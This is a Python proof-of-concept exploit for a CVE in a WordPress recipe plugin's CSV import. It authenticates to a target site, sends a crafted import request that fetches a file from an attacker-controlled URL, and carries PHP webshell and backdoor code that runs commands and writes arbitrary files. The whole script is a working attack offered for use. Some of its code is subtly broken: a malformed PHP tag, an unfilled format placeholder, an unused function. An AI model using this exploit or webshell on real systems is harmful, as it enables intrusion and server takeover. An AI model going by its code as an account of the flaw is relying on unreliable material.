#!/usr/bin/env python3
"""
CVE-2025-11755 PoC - WP Delicious Plugin CSV Import RCE
Author: Security Researcher
Description: Exploits arbitrary file upload via CSV recipe import
"""
import requests
import sys
import argparse
from urllib.parse import urljoin
def create_malicious_csv():
"""Generate malicious CSV with PHP webshell"""
return '''Recipe Name,Description,Ingredients,Instructions,Image
Malicious Recipe,<php system($_GET['cmd']); ?>,"test,test,test","step 1,step 2",http://attacker.com/shell.php.png
'''
def exploit_cve_2025_11755(target_url, username, password, attacker_url):
"""
Exploit the CSV import vulnerability
Args:
target_url: Target WordPress site URL
username: WordPress Contributor+ username
password: WordPress password
attacker_url: URL to malicious PHP file
"""
# Setup session
session = requests.Session()
# WordPress REST API endpoint for recipe import
import_endpoint = urljoin(target_url, '/wp-json/delicious-recipes/v1/import/recipe-terms')
# Authentication payload
auth_data = {
'username': username,
'password': password
}
# Login to WordPress
login_url = urljoin(target_url, '/wp-login.php')
login_response = session.post(login_url, data=auth_data)
if 'wordpress_logged_in' not in session.cookies.get_dict():
print("[-] Authentication failed")
return False
print("[+] Authentication successful")
# Prepare malicious import request
# The vulnerability allows arbitrary file upload via remote URL
exploit_payload = {
'type': 'recipe',
'import_source': 'csv',
'image_url': attacker_url, # Malicious file URL
'recipe_data': create_malicious_csv()
}
# Send exploit request
try:
response = session.post(
import_endpoint,
json=exploit_payload,
headers={'Content-Type': 'application/json'}
)
if response.status_code == 200:
print("[+] Exploit sent successfully")
print(f"[*] Malicious file uploaded via URL: {attacker_url}")
print("[*] Access the shell at: {}/wp-content/uploads/delicious-recipes/shell.php")
return True
else:
print(f"[-] Exploit failed with status: {response.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Request error: {e}")
return False
def create_webshell():
"""Generate PHP webshell content"""
return '''<?php
// CVE-2025-11755 Backdoor
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
if(isset($_POST['upload'])) {
file_put_contents($_POST['path'], base64_decode($_POST['data']));
echo "Uploaded";
}
?>
'''
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-11755 WP Delicious RCE Exploit")
parser.add_argument("-t", "--target", required=True, help="Target WordPress URL")
parser.add_argument("-u", "--username", required=True, help="WordPress username")
parser.add_argument("-p", "--password", required=True, help="WordPress password")
parser.add_argument("-l", "--listener", required=True, help="Attacker listener URL for shell")
args = parser.parse_args()
print("="*50)
print("CVE-2025-11755 WP Delicious Plugin RCE")
print("="*50)
exploit_cve_2025_11755(args.target, args.username, args.password, args.listener)